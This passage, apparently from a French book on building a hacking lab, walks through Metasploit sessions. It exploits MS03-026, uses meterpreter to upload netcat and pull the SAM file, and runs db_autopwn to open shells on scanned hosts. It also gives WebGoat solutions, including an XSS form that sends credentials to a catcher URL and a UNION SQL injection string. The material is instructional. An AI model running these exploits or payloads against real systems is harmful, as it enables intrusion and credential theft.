use

version

Select an exploit by name

Show console version

msf > show exploits

msf > use msrpc_dcom_ms03_026

msf msrpc_dcom_ms03_026 > set RHOST 192.168.9.14

RHOST -> 192.168.9.14

msf msrpc_dcom_ms03_026 > set LHOST 192.168.9.100

LHOST -> 192.168.9.100

msf msrpc_dcom_ms03_026 > set PAYLOAD win32_reverse

PAYLOAD -> win32_reverse

msf msrpc_dcom_ms03_026(win32_reverse) > show TARGETS

Supported Exploit Targets

=========================

0 Windows NT SP3-6a/2K/XP/2K3 English ALL

msf msrpc_dcom_ms03_026(win32_reverse) > set TARGET 0

TARGET -> 0

msf msrpc_dcom_ms03_026(win32_reverse) > exploit

[*] Starting Reverse Handler.






c. Metasploit Web Interface (MSFWEB)

MSFWEB lance un serveur sur le port 55555, IP 127.0.0.1.

Si nous nous connectons sur ce port avec un navigateur web, nous obtenons l’interface

graphique de Metasploit.

Essayons d’exploiter un vnc_reverse sur la même machine que précédemment.

framework2 # ./msfweb

+----=[ Metasploit Framework Web Interface (127.0.0.1:55555)

Cette version peut sembler un peu vieillotte mais peut encore nous aider dans certains cas.

Nous retrouvons trois liens : EXPLOITS, PAYLOADS et SESSIONS.

SESSIONS ne nous servira que lorsqu’un exploit aura fonctionné pour accéder à la machine

victime.

Nous avons la possibilité de filtrer la recherche par service par exemple (FTP, HTTP...) ou par

OS (Operating System).

Une fois que nous avons sélectionné l’exploit que nous voulons utiliser, une nouvelle fenêtre

apparaît qui va nous permettre d’entrer les informations nécessaires, comme l’adresse IP de la

victime, le port de la victime, notre adresse IP...

Bien sûr, les informations à fournir diffèrent suivant l’exploit selectionné.

Quand l’exploit est lancé, et s’il réussit, nous avons comme dans l’exemple ci-dessus une

information « [*] Shell started on session 1 ».

Une fenêtre VNC apparaît alors si l’exploit a fonctionné.

d. Meterpreter Payload

Meterpreter est un payload multifonction avancé qui va nous fournir un shell basique à partir

duquel nous pourrons ajouter les fonctions désirées pour notre exploit.

Meterpreter est un payload car il permet d’avoir un shell particulier qui va vous permettre de

n’envoyer que la partie utile de vos messages (commandes) sans encapsulation des en-têtes du

protocole TCP/IP par exemple.

Meterpreter est très pratique parce qu’il nous proposera un shell meterpreter qui va nous

permettre bien plus d’actions qu’un payload classique. Nous pourrons lancer à partir du shell

meterpreter un shell bash, déposer ou télécharger des fichiers, des exécutables, faire des

dumps mémoire…

msf > use msrpc_dcom_ms03_026

msf msrpc_dcom_ms03_026 > show payloads

Metasploit Framework Usable Payloads

====================================

win32_adduser

win32_bind

win32_bind_dllinject


win32_bind_stg

win32_bind_stg_upexec

win32_bind_vncinject

win32_downloadexec

Windows Execute net user /ADD

Windows Bind Shell

Windows Bind DLL Inject

Windows Bind Meterpreter DLL Inject

Windows Staged Bind Shell

Windows Staged Bind Upload/Execute

Windows Bind VNC Server DLL Inject

Windows Executable Download and Executewin32_exec

Windows Execute Command

win32_passivex

Windows PassiveX ActiveX Injection Payload

win32_passivex_meterpreter

win32_passivex_stg

Windows Staged PassiveX Shell

win32_passivex_vncinject

win32_reverse

Windows PassiveX ActiveX Inject Meterpreter Payload

Windows PassiveX ActiveX Inject VNC Server Payload

Windows Reverse Shell

win32_reverse_dllinject

Windows Reverse DLL Inject

win32_reverse_meterpreter

win32_reverse_ord

Windows Reverse Meterpreter DLL Inject

Windows Staged Reverse Ordinal Shell

win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server

Inject

win32_reverse_stg

Windows Staged Reverse Shell

win32_reverse_stg_upexec

win32_reverse_vncinject

Windows Staged Reverse Upload/Execute

Windows Reverse VNC Server Inject

msf msrpc_dcom_ms03_026(in32_bind_meterpreter) > set PAYLOAD


PAYLOAD -> win32_bind_meterpreter

msf msrpc_dcom_ms03_026(win32_bind_meterpreter) > set RHOST

192.168.9.14

RHOST -> 192.168.9.14

msf msrpc_dcom_ms03_026(win32_bind_meterpreter) > exploit

[*] Starting Reverse Handler.



meterpreter>

Nous obtenons un shell meterpreter.

Il faut maintenant charger le système de fichiers et des librairies dans meterpreter.

meterpreter> use -m Process

loadlib: Loading library from ’ext180401.dll’ on the remote

machine.

Meterpreter>

loadlib: success.

meterpreter> use -m Fs

loadlib: Loading library from ’ext290706.dll’ on the remote

machine.

meterpreter>

loadlib: success.

meterpreter> help

Nous pouvons maintenant envoyer ou télécharger des fichiers, exécuter des commandes shell,

gérer les processus en interactivité avec eux...

meterpreter> upload /home/fasm/windows-binaries/tools/nc.exe

c:\windows

upload: Starting upload of ’/home/fasm/windows-

binaries/tools/nc.exe’ to ’c:\windows\nc.exe’.

upload: 1 uploads started.

meterpreter>

upload: Upload from ’/home/fasm/windows-binaries/tools/nc.exe’

succeeded.

meterpreter> download c:\windows\repair\sam /tmp

download: Starting download from ’c:\windows\repair\sam’ to

’/tmp/sam’...

download: 1 downloads started.

meterpreter>

download: Download to ’/tmp/sam’ succeeded.

meterpreter>

meterpreter> ps

meterpreter>

Process list:

Pid

Name Path

----- ------------ ----------

00360 smss.exe \SystemRoot\System32\smss.exe

00528 csrss.exe \??\C:\WINDOWS\system32\csrss.exe

00556 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe

00604 services.exe C:\WINDOWS\system32\services.exe

00616

lsass.exe C:\WINDOWS\system32\lsass.exe

00864 svchost.exe C:\WINDOWS\system32\svchost.exe

01008 svchost.exe C:\WINDOWS\System32\svchost.exe



01360 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe

01588 VMwareService.exe C:\Program Files\VMware\VMware

Tools\VMwareService.exe

01172 Explorer.EXE C:\WINDOWS\Explorer.EXE

01048 VMwareTray.exe C:\Program Files\VMware\VMware

Tools\VMwareTray.exe

01292 VMwareUser.exe

C:\Program Files\VMware\VMware Tools\VMwareUser.exe

01776 cmd.exe C:\WINDOWS\System32\cmd.exe

01168 logon.scr C:\WINDOWS\System32\logon.scr

17 processes.

Meterpreter>

meterpreter> execute -H -f cmd -c

execute: Executing ’cmd’...

meterpreter>

execute: success, process id is 492.

execute: allocated channel 6 for new process.

meterpreter> interact 6

interact: Switching to interactive console on 6...

meterpreter>

interact: Started interactive channel 6.



C:\WINDOWS\system32>exit

exit

interact: Ending interactive session.

Meterpreter>

e. Framework 3

Le framework 3 a été complètement réécrit en Ruby. La philosophie est la même que pour le

framework 2.

Les frameworks 2 et 3 sont inclus par défaut dans la BackTrack. Tout ce que nous avons vu

avant est donc valable pour cette version.

Modules auxiliaires

Le framework 3 a intégré des modules auxiliaires très utiles comme UDP discovery sweeps

et SMB host identification features.

framework3 # ./msfconsole

=[ msf v3.0-beta-dev

+ -- --=[ 132 exploits - 99 payloads

+ -- --=[ 17 encoders - 4 nops

=[ 27 aux

msf > show

msf > use scanner/discovery/sweep_udp

msf auxiliary(sweep_udp) > set RHOSTS 172.16.2.1/24

RHOSTS => 172.16.2.1/24

msf auxiliary(sweep_udp) > run

[*] Sending 6 probes to 172.16.2.0->172.16.2.255 (256 hosts)

[*] Discovered NetBIOS on 172.16.2.203 ()




[*] Discovered SQL Server on 172.16.2.201

(tcp=1433np=\\BA8C9725C4334BF\pipe\sql\query Version=8.00.194

ServerName=BA8C9725C4334BF

IsClustered=No InstanceName=MSSQLSERVER )

[*] Auxiliary module execution completed

msf auxiliary(sweep_udp) > use scanner/smb/version

msf auxiliary(version) > set RHOSTS 172.16.2.201-172.16.2.204

RHOSTS => 172.16.2.201-172.16.2.204

msf auxiliary(version) > run

[*] 172.16.2.201 is running Windows 2000 Service Pack 0 - Service

Pack 4

[*] 172.16.2.202 is running Windows XP Service Pack 0 / Service

Pack 1


Pack 1


Pack 1


msf auxiliary(version) > use scanner/mssql/mssql_ping

msf auxiliary(mssql_ping) > set RHOSTS 172.16.2.201

RHOSTS => 172.16.2.201

msf auxiliary(mssql_ping) > run

[*] SQL Server information for 172.16.2.201:

[*] tcp = 1433

[*] np = \\BA8C9725C4334BF\pipe\sql\query

[*] Version

= 8.00.194

[*] ServerName

[*] IsClustered

[*] InstanceName

= BA8C9725C4334BF

= No

= MSSQLSERVER


msf auxiliary(mssql_ping) > use scanner/mssql/mssql_login

msf auxiliary(mssql_login) > set RHOSTS 172.16.2.201

RHOSTS => 172.16.2.201

msf auxiliary(mssql_login) > run

[*] Target 172.16.2.201 does have a null sa account...


db_autopwn

Le module db_autopwn peut être utilisé pour le port scanning et la connexion aux ordinateurs

en utilisant Nmap (db_nmap), tous les résultats sont entrés dans une base de données

Postgres.

Suivant les ports ouverts découverts par le scan, Metasploit exécute automatiquement des

exploits contre ces machines.

db_autopwn n’est plus géré par Metasploit mais il est toujours possible de l’utiliser.

Il nous faudra récupérer db_autopwn.rb sur Internet :

https://github.com/jeffbryner/kinectasploit/blob/master/db_autopwn.rb

Nous sauvegarderons ce programme dans /pentest/exploits/framework/plugins/db_autopwn.rb

:

root@bt:~# su postgres

sh-4.1$ psql

could not change directory to "/root"

psql (8.4.8)

Type "help" for help.

postgres=# create user test with password ’test’;

CREATE ROLE

postgres=# create database cdaisi_db;

CREATE DATABASE

postgres=#

msfconsole

db_connect test:[email protected]/cdaisi_db

db_nmap 213.136.96.12

load db_autopwn

db_autopwn -t -p -e -s -b

framework3 # ./start-db_autopwn

The files belonging to this database system will be owned by user

"postgres".

This user must also own the server process.

The database cluster will be initialized with locale C.

creating directory /home/postgres/metasploit3 ... ok

creating directory /home/postgres/metasploit3/global ... ok

...

initializing dependencies ... ok

creating system views ... ok

loading pg_description ... ok

creating conversions ... ok

setting privileges on built-in objects ... ok

creating information schema ... ok

https://github.com/jeffbryner/kinectasploit/blob/master/db_autopwn.rb

vacuuming database template1 ... ok

copying template1 to template0 ... ok

copying template1 to postgres ... ok

WARNING: enabling "trust" authentication for local connections

You can change this by editing pg_hba.conf or using the -A option

the next time you run initdb.

Success. You can now start the database server using:

postmaster -D /home/postgres/metasploit3

or pg_ctl -D /home/postgres/metasploit3 -l logfile start

postmaster starting

[**************************************************************]

[*] Postgres should be setup now. To run db_autopwn, please:

[*] # su - postgres[*] # cd /home/fasm/framework3

{*] # ./msfconsole

[*] msf> load db_postgres

[**************************************************************]

BT framework3 # LOG: database system was shut down at 2006-12-10

06:53:28 GMT

LOG: checkpoint record is at 0/33A6AC

LOG: redo record is at 0/33A6AC; undo record is at 0/0; shutdown

TRUE

LOG: next transaction ID: 565; next OID: 10794

LOG: next MultiXactId: 1; next MultiXactOffset: 0

LOG: database system is ready

LOG: transaction ID wrap limit is 2147484146, limited by database

"postgres"

BT framework3 # su - postgres

/dev/pts/0: Operation not permitted

BT ~ $ cd /home/fasm/framework3

BT framework3 $ ./msfconsole

____________

< metasploit >

------------

=[ msf v3.0-beta-dev

+ -- --=[ 131 exploits - 99 payloads

+ -- --=[ 17 encoders - 4 nops

=[ 27 aux

msf > load db_postgres

[*] Successfully loaded plugin: db_postgres

msf > db_create

ERROR: database "metasploit3" does not exist

dropdb: database removal failed: ERROR: database "metasploit3"

does not exist

LOG: transaction ID wrap limit is 2147484146, limited by database

"postgres"

CREATE DATABASE

ERROR: table "hosts" does not exist

ERROR: table "hosts" does not exist

NOTICE: CREATE TABLE will create sequence "hosts_id_seq" for

serial column

"hosts.id"NOTICE: CREATE TABLE / PRIMARY KEY will create implicit

index "refs_pkey" for table "refs"

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index

"refs_pkey" for table "refs"

ERROR: table "vulns_refs" does not exist

ERROR: table "vulns_refs" does not exist

msf > db_hosts

msf > db_nmap-p 445 172.16.2.*

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2006-12-10

06:56 GMT

Interesting ports on 172.16.2.1:

PORT STATE SERVICE

445/tcp closed microsoft-ds

Nmap finished: 256 IP addresses (1 host up) scanned in 15.476

seconds

msf > db_Nmap-p 445 172.16.2.*

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2006-12-10

06:57 GMT


PORT STATE SERVICE

445/tcp closed microsoft-ds


PORT STATE SERVICE



PORT STATE SERVICE



PORT STATE SERVICE


Nmap finished: 256 IP addresses (4 hosts up) scanned in 15.323

seconds

msf > db_hosts

[*] Host: 172.16.2.202

[*] Host: 172.16.2.203

[*] Host: 172.16.2.206

msf > db_autopwn -p -e -r

[*] Launching auxiliary/dos/windows/smb/ms05_047_pnp (1/42)

against 172.16.2.206:445...

[*] Launching exploit/windows/smb/ms06_066_nwwks (2/42) against

172.16.2.203:445...

[*] Started reverse handler

[*] Launching exploit/windows/smb/ms06_040_netapi (3/42) against

172.16.2.202:445...[*] Connecting to the SMB service...

[*] Started reverse handler

[*] Launching exploit/windows/smb/ms03_049_netapi (5/42) against

172.16.2.203:445...

[*] Connecting to the SMB service...

[*] Launching exploit/windows/smb/ms05_039_pnp (10/42) against

172.16.2.206:445...

[*] Bound to 3919286a-b10c-11d0-9ba8-

00c04fd92ef5:0.0@ncacn_np:172.16.2.202[\lsarpc]...

[*] Getting OS information...


172.16.2.202:1059)

[*] Trying to exploit Windows 5.1


172.16.2.206:1041)

msf > sessions -l

Active sessions

===============

Id Description Tunnel

-- -----------

------

1 Command shell 172.16.2.1:23443 -> 172.16.2.202:1058

2 Command shell 172.16.2.1:12927 -> 172.16.2.203:1099

3 Command shell 172.16.2.1:37995 -> 172.16.2.206:1040

msf > sessions -i 1

[*] Starting interaction with 1...




f. Fasttrack

Fasttrack permet d’automatiser même db_autopwn, nous pourrons donc le tester.

Pour cela, il faut faire aussi une petite modification avant que ce dernier ne fonctionne.

Allons dans le répertoire /pentest/exploits/fasttrack/bin/ftsrc et ouvrons le fichier autopwn.py :

Nous pouvons ajouter la ligne en face du curseur (carré blanc) et ensuite enregistrer le fichier.

Nous pouvons maintenant utiliser db_autopwn et fasttrack.

Si nous lançons fasttrack simplement, nous obtenons cela :

------------------------------------------------

Fast-Track v3.0 - Where speed really does matter...

Automated Penetration Testing

Written by David Kennedy (ReL1K)

SecureState, LLC

http://www.securestate.com

[email protected]

Please read the README and LICENSE before using

this tool for acceptable use and modifications.

-------------------------------------------------

Modes:

Interactive Menu Driven Mode: -i

Command Line Mode: -c

Web GUI Mode -g

Examples: ./fast-track.py -i

./fast-track.py -c

./fast-track.py -g

./fast-track.py -g <portnum>

Usage: ./fast-track.py <mode>

Nous lancerons donc ./fasttrack -i

Il ne nous reste plus qu’à suivre les indications pour exécuter autopwn.

WebGoat

1. Présentation

Dans la section précédente, nous avons utilisé une plate-forme d’entraînement disponible sous

forme d’une machine virtuelle complète. Il peut être intéressant d’installer une plate-forme

d’entraînement destinée à la découverte de failles web uniquement, mais très complète dans

ce domaine. L’OWASP (Open Web Application Security Project) met à disposition une

application Java nommée WebGoat, très intéressante. Le fichier à installer se présente sous la

forme d’une archive WAR (Web Application Archive). Il nécessite l’installation d’un serveur

Tomcat et le réglage de quelques paramètres dans les fichiers de configuration. Nous allons

réaliser cette installation pas à pas dans la section suivante.

2. Installation de WebGoat

Dans un premier temps il faut récupérer l’archive WAR que l’on trouve à l’adresse suivante :

https://code.google.com/p/webgoat/downloads/list

Ensuite, il nous faut créer un conteneur Debian6. Nous pouvons utiliser la machine WEB2

créée au premier chapitre ou en créer une nouvelle très facilement grâce au conteneur de

Proxmox.

Une fois que nous sommes dans une console du conteneur, nous allons installer un serveur

Tomcat et une machine virtuelle Java pour faire tourner celui-ci (JRE - Java Runtime

Environment). Mais dans les dépôts principaux de Debian, nous ne trouvons que OpenJDK, il

faut donc modifier le fichier sources.list pour ajouter les branches contrib et non-free. Voici le

nouveau contenu de notre fichier /etc/apt/sources.list :

deb http://ftp.debian.org/debian squeeze main contrib non-free

deb http://ftp.debian.org/debian squeeze-updates main contrib non-free

deb http://security.debian.org squeeze/updates main contrib

Il faut ensuite actualiser le cache des dépôts puis faire une recherche d’un JRE pour voir si

celui de Sun est bien présent :

root@WEB2:/# aptitude update

Get:1 http://security.debian.org squeeze/updates Release.gpg [836 B]

Ign http://security.debian.org/ squeeze/updates/contrib

Translation-en

Ign http://security.debian.org/ squeeze/updates/main Translation-en

Get:2 http://ftp.debian.org squeeze Release.gpg [1672 B]

Ign http://ftp.debian.org/debian/ squeeze/contrib Translation-en

Ign http://ftp.debian.org/debian/ squeeze/main Translation-en

Ign http://ftp.debian.org/debian/ squeeze/non-free Translation-en

https://code.google.com/p/webgoat/downloads/list

…

root@WEB2:/# aptitude search jre

p default-jre -

Standard Java or Java compatible Runtime

p default-jre-headless -

Standard Java or Java compatible Runtime (headless)

p docbook-jrefentry -

DocBook XML JRefEntry DTD

p gcj-4.4-jre -

Java runtime environment using GIJ/classpath

p gcj-4.4-jre-headless -

Java runtime environment using GIJ/classpath (headless version)

p gcj-4.4-jre-lib -

Java runtime library for use with gcj (jar files)

p gcj-jre -

Java runtime environment using GIJ/classpath

p gcj-jre-headless -

Java runtime environment using GIJ/classpath (headless version)

p icedtea-6-jre-cacao -

Alternative JVM for OpenJDK, using Cacao

v icedtea6-jre-cacao -

p libjrexx-java -

automaton based regular expression API for java

p openjdk-6-jre -

OpenJDK Java runtime, using Hotspot JIT

p openjdk-6-jre-headless -

OpenJDK Java runtime, using Hotspot JIT (headless)

p openjdk-6-jre-lib -

OpenJDK Java runtime (architecture independent libraries)

v openjdk-6-jre-shark -

p openjdk-6-jre-zero -

Alternative JVM for OpenJDK, using Zero/Shark

p sun-java6-jre

Nous voyons que le JRE de Sun est présent. Installons-le :

root@WEB2:/# aptitude install sun-java6-jre

Lors de cette installation, nous devons accepter les termes de la licence, le logiciel n’étant pas

libre.

Puis nous installons le serveur Tomcat :

root@WEB2:/# aptitude install tomcat6


authbind{a} libcommons-collections3-java{a} libcommons-dbcp-

java{a} libcommons-pool-java{a} libecj-java{a} libservlet2.5-

java{a}

libtomcat6-java{a} tomcat6 tomcat6-common{a}


upgraded.

Need to get 5472 kB of archives. After unpacking 6911 kB will be

used.

Do you want to continue? [Y/n/?]

Get:1 http://ftp.debian.org/debian/ squeeze/main authbind i386

1.2.0 [16.6 kB]

Get:2 http://ftp.debian.org/debian/ squeeze/main libcommons-

collections3-java all 3.2.1-4 [601 kB]

Get:3 http://ftp.debian.org/deb....

et stoppons le service :

root@WEB2:/# /etc/init.d/tomcat6 stop

Stopping Tomcat servlet engine: tomcat6.

root@WEB2:/#

Nous avons indiqué l’adresse où récupérer le fichier WAR de WebGoat, mais comment

télécharger celui-ci dans notre conteneur ? Nous sommes dans une console en ligne de

commande ; un petit navigateur mode texte peut être très utile. Commençons par installer

lynx, puis lançons-le avec l’adresse des fichiers de Webgoat :

root@WEB2:~# aptitude install lynx

root@WEB2:~# lynx https://code.google.com/p/webgoat/downloads/list

Nous sommes face à l’écran suivant et pouvons naviguer à l’aide des flèches du clavier. Nous

nous rendons sur le fichier WAR et pressons la touche [Entrée].

Lynx nous propose alors de le télécharger en bas de la page. Attention, après le

téléchargement, le fichier n’est pas encore enregistré sur le disque et il faudra indiquer à Lynx

de faire cette opération.

Ce fichier doit être copié dans le dossier /var/lib/tomcat6/webapps/ et renommé en

webgoat.war.

cp WebGoat-5.4.war /var/lib/tomcat6/webapps/webgoat.war

Il ne reste plus qu’a régler les utilisateurs dans le fichier /etc/tomacat6/tomcat-users.xml du

Tomcat. Voici ce qu’il doit contenir :

<?xml version=’1.0’ encoding=’utf-8’?>

<tomcat-users>

<role rolename="webgoat_basic"/>

<role rolename="webgoat_admin"/>

<role rolename="webgoat_user"/>

<role rolename="tomcat"/>

<user password="webgoat" roles="webgoat_admin"

username="webgoat"/>

<user password="basic" roles="webgoat_user,webgoat_basic"

username="basic"/>

<user password="tomcat" roles="tomcat" username="tomcat"/>

<user password="guest" roles="webgoat_user" username="guest"/>

</tomcat-users>

Tout est prêt. Nous lançons le serveur.

root@WEB2:~# /etc/init.d/tomcat6 start

L’adresse où se trouve WebGoat est http://votreip/webgoat/attack. Une identification est

demandée. Le nom d’utilisateur est webgoat ainsi que son mot de passe. Une fois celle-ci

faite, nous sommes face à l’écran suivant :

L’installation est terminée, nous pouvons passer à l’utilisation avec quelques exemples.

Si vous rencontrez des problèmes, nous vous invitons à lire le fichier README-5.4.txt ainsi

qu’à consulter la foire aux questions dans le wiki.

3. Utilisation de WebGoat

L’entraînement peut commencer en cliquant sur Start WebGoat en bas de la page. Un menu

latéral présente alors une grande quantité de leçons. Voyons comment en solutionner

quelques-unes.

Commençons par la toute première pour nous familiariser avec WebGoat. Nous allons dans le

menu General puis Http Basics.

On nous indique qu’il faut utiliser WebScarab pour intercepter la requête. Le plus simple est

de réaliser ces épreuves depuis une distribution BackTrack. Nous disposerons ainsi de tous les

outils préinstallés. Lançons WebScarab depuis notre BackTrack. Il se trouve dans le dossier

web du dossier pentest :

root@bt:~# cd /pentest/web/

root@bt:/pentest/web# ls

asp-auditor dirbuster htexploit plecost uniscan

websecurify

backdoors dotdotpwn joomscan powerfuzzer untidy

webslayer

beef dpscan mantra proxystrike vega

wfuzz

blindelephant fimap mopest scanners w3af

wpscan

burpsuite golismero nikto skipfish waffit

xsser

darkmysqli grabber owasp-zap sslstrip wapiti

xssfuzz

dirb grendel-scan padbuster sslyze webscarab

root@bt:/pentest/web# cd webscarab/

root@bt:/pentest/web/webscarab# ls

readme.txt webscarab-one-20110329-1330.jar

root@bt:/pentest/web/webscarab# java -jar webscarab-one-20110329-

1330.jar

No plugins found!

Using WebScarab.whitelistRegex pattern : null. Will not save any

data for requests not matching this pattern

Help set not found

04:40:39 main(Proxy.parseListenerConfig): No proxies configured!?

04:40:39 main(SSLSocketFactoryFactory.<init>): Generating CA key

04:40:41 Listener-127.0.0.1:8008(Listener.listen): Proxy listening

on 127.0.0.1:8008

Comme c’est un fichier jar, nous le démarrons avec la commande java -jar. Nous sommes

alors devant WebScarab.

Pour rediriger le flux de communication entre le navigateur et le serveur, il faut régler le

proxy du navigateur pour qu’il écoute sur la boucle locale sur le port 8008.

Ce réglage se trouve, dans Firefox, dans le menu Preferences, panneau Advanced (avancé),

onglet Network (réseau) et Settings (paramètres).

Nous cliquons ensuite sur le bouton GO du formulaire et interceptons les données avec

WebScarab. Nous constatons en visualisant un POST qu’il existe dans l’en-tête un cookie et

une authentification Basic.

Il nous faut modifier ces éléments et rejouer le POST pour valider l’épreuve. Un message

s’affiche nous indiquant que nous venons de valider l’épreuve.

Passons à une autre leçon. Nous ne sommes pas obligés de les aborder dans l’ordre et pouvons

nous entraîner sur un sujet particulier que nous voulons traiter. Prenons par exemple les failles

XSS (Cross-Site-Scripting) et choisissons la première leçon de cette branche : Phishing with

XSS.

Ici, on nous demande d’insérer du HTML et JavaScript dans les données du POST et de les

envoyer à l’adresse indiquée. Si nous ne comprenons pas ce qu’il faut faire, ou n’arrivons à

trouver la solution, nous disposons des corrections. Pour y accéder, il faut cliquer sur Solution

Videos puis choisir l’épreuve que nous sommes en train de faire. Nous pouvons visualiser les

solutions sous forme de vidéos Flash et même les télécharger au format swf.

Dans notre cas, nous voyons le code qu’il fallait injecter dans le formulaire sur l’extrait de

vidéo ci-après.

Nous choisissons d’insérer un code similaire dans notre formulaire afin de bien comprendre le

mécanisme :

du texte

<b>bla bla</b>

<br><br>

Nom : <br> <input type="test" name="nom"><br>

Mot de passe :<br> <input type="password" name="pass"><br>

<input type="submit" value="Login" onclick="var xssImg=new

Image();xssImg.src=’http://192.168.2.36:8080/webgoat/catcher

?PROPERTY=yes&u=’+this.form.name.value+’&p=’+this.form.pass.value;"

du texte

Nous visualisons bien notre formulaire en bas de la page, comme le montrait la correction.

Nous validons un nom d’utilisateur et un mot de passe quelconque. Voici ce qui se passe :

L’épreuve est résolue.

Nous allons prendre un dernier exemple mettant en œuvre une injection SQL. Nous

sélectionnons dans le menu la leçon Injection Flaws - Numeric SQL Injection. Voici

l’écran que nous avons en face de nous :

Sur cette épreuve, on nous demande de réaliser une injection. La tâche est facilitée car on

nous donne la requête qui est envoyée au serveur. Nous connaissons donc déjà le nom des

tables.

Il faut dans un premier temps pouvoir entrer ce que nous souhaitons dans le champ présenté

sous la forme d’une liste déroulante. Nous pourrions encore utiliser WebScarab, mais

utilisons une solution moins lourde et plus simple de mise en œuvre. La barre Web

Developer va pouvoir nous aider, mais il existe beaucoup d’autres possibilités. Nous

transformons le champ de type select en un champ de type text à l’aide du menu Forms.

L’objectif étant de lire tous les enregistrements de la table, nous allons tenter une injection

avec un union. Essayons ceci dans le champ station :

101 union select * from weather_data#

Nous constatons que nous déclenchons une erreur de traitement. La fin de la requête est

probablement mal formée. Changeons le caractère qui passe le reste de la requête en

commentaire :

101 union select * from weather_data;--

Cette fois-ci, nous validons l’épreuve.

Nous n’irons pas plus loin concernant WebGoat, vous avez tout ce qu’il vous faut pour vous

entraîner, c’est à vous de jouer à présent.

Conclusion

Dans ce chapitre nous vous avons présenté quelques plates-formes d’entraînement. Il en existe

de nombreuses ainsi que des challenges en ligne. Mais rien ne vaut des machines réelles ou au

moins virtuelles pour tester réellement les failles de sécurité sur des systèmes d’information.

Néanmoins, ces entraînements nous apprennent à utiliser des outils, établir des schémas

d’attaques, concevoir des scripts, etc. Il est donc très important de s’initier sur ce type de

solutions d’exercices sans risque.

Le matériel indispensable

Introduction

Notre laboratoire « logiciel » est terminé, mais le hacking n’est pas que logiciel, et

heureusement. Le hardware prend une part de plus en plus importante dans la sécurité

informatique.

C’est pourquoi, si nous voulons un laboratoire complet, il nous faudra investir dans du

matériel.

Dans la suite, nous allons donc vous fournir une liste non exhaustive du matériel nécessaire.

Wi-Fi

1. Kit en vente en Chine

Des kits sont vendus en Chine afin de « cracker » les clés WEP (Wired Equivalent Privacy) et

de deviner les mots de passe WPA (Wi-Fi Protected Access) des réseaux Wi-Fi.

En effet, au moment de l’écriture de ce livre, nous ne « craquons » pas de clé WPA mais nous

utilisons une technique qui se nomme le « brute force par dictionnaire » qui consiste à lire à

l’aide d’un script un fichier contenant une liste de mots usuels (dictionnaire), que nous testons

un à un pour tenter une connexion.

BackTrack fournit tous les logiciels nécessaires tels que aircrack ou cowpatty pour le WPA

et la distribution offre aussi de nombreux dictionnaires. L’adaptateur Wi-Fi sur clé USB est

identique à la clé Wi-Fi Alfa USB que nous verrons plus tard. La documentation nécessaire se

trouve aisément sur Internet.

Ce kit a le mérite de nous fournir tout le matériel nécessaire déjà assemblé, ce qui nous fait

gagner beaucoup de temps.

Le kit est un assemblage de matériels et de logiciels grand public, il comprend un système

d’exploitation Linux dans lequel a été intégré un logiciel de cassage de clés WEP/WPA, une

clé USB adaptateur Wi-Fi, le tout agrémenté d’un manuel d’utilisation et ce, pour un prix très

modique.

La clé WEP est maintenant démodée et son insécurité a été maintes fois démontrée. Mais il

faut savoir que beaucoup de personnes, par habitude ou inexpérimentation, ont laissé leur

accès en WEP. Pour s’en convaincre, il suffit de faire un peu de wardriving ou de walkdriving

dans une ville afin de repérer les points d’accès. Cela se fait aisément avec le logiciel kismet

sous Linux (donc BackTrack). Nous nous apercevrons vite que nous trouverons bien sûr

beaucoup de points d’accès en WPA, WPA2 mais aussi en WEP, et des points d’accès ouverts

!

Le war (wireless access research) consiste à rechercher d’une manière ou d’une autre (en

marchant : walking, en conduisant : driving ou autre) des accès à des matériels wireless.

Il faut aussi se dire que nous raisonnons en tant que citoyens dans un pays dit industrialisé,

mais si nous nous promenons dans d’autres pays, nous nous apercevons vite que certaines

technologies anciennes sont encore très présentes.

2. PirateBox

Les PirateBox sont à l’origine destinées à échanger librement des données du domaine public

ou sous licence libre. Nous pouvons trouver sur Internet plusieurs vidéos qui expliquent

comment fabriquer sa PirateBox pour moins de 100 euros.

Le but est d’avoir un réseau temporaire de partage de fichiers. L’idée est signée par David

Darts.

Il suffit de prendre un routeur sans fil, un serveur Linux et un code mis à disposition sous une

Free Art License (FAL 1.3) ; comprenez que l’invention peut être copiée, diffusée, modifiée

gratuitement selon le principe du copyleft.

Facile à utiliser, PirateBox permet, une fois allumée, d’utiliser un réseau Wi-Fi ouvert et de le

transformer en un espace de partage de fichiers. Les utilisateurs peuvent joindre le réseau

PirateBox ouvert à partir de tout appareil compatible Wi-Fi.

Plusieurs projets pédagogiques les utilisent pour offrir des contenus à des élèves ou des

étudiants et leur permettre d’échanger par chat ou forum.

D’ailleurs, beaucoup de personnes telles que Damien Bancal du célèbre site ZATAZ.com se

promènent constamment avec elle, et ce, dans tous les pays.

Mais la PirateBox est aussi utilisée dans des lieux où l’installation d’Internet est quasi

impossible.

Il existe d’ailleurs un projet visant à fournir à des villages d’Afrique de quoi échanger des

données mais aussi stocker des informations comme une bibliothèque, des ouvrages de

médecine ou des manuels scolaires.

À la base un projet comme tant d’autres, la PirateBox a eu un très fort engouement sur les

réseaux sociaux (#PirateBox), relayé par des comptes influents et par la presse (Voix du Nord,

Numerama, Tom’s Guide, Zataz, etc.) ainsi que par toute une longue série de blogs.

Sa technologie est en constante évolution et avec les nouveaux matériels qui arrivent sur le

marché tels que le RaspberryPI, avec encore plus de mémoire, de puissance et de possibilité

d’extension, son utilisation ne sera que croissante.

Un autre usage envisagé consiste à fournir à un quartier puis à une ville un réseau parallèle

permettant aux habitants d’échanger des informations comme la date d’une réunion de

quartier, celle de la prochaine brocante, ou celle d’un événement quelconque. La PirateBox

permet aussi de discuter en temps réel via son service de messagerie instantanée.

Nous pouvons rencontrer ce dernier cas dans de nombreuses résidences d’étudiants.

L’utilisateur se connecte en Wi-Fi à la PirateBox sans avoir à renseigner un mot de passe

(mais il est tout à fait possible d’en mettre un), et peut ensuite télécharger ou déposer des

fichiers.

Nous n’avons plus aucun moyen de détection distant (il faut être dans l’environnement proche

de la PirateBox, si celle-ci bien sûr n’est pas reliée à Internet).

Nous pouvons aussi poster des messages sur le forum (disponible directement sans autre

configuration) ou utiliser le système de messagerie instantanée disponible.

C’est donc un outil très utilisé et utile pour l’étudier ou en fabriquer avec d’autres matériels

par exemple.

3. Wifi-Box

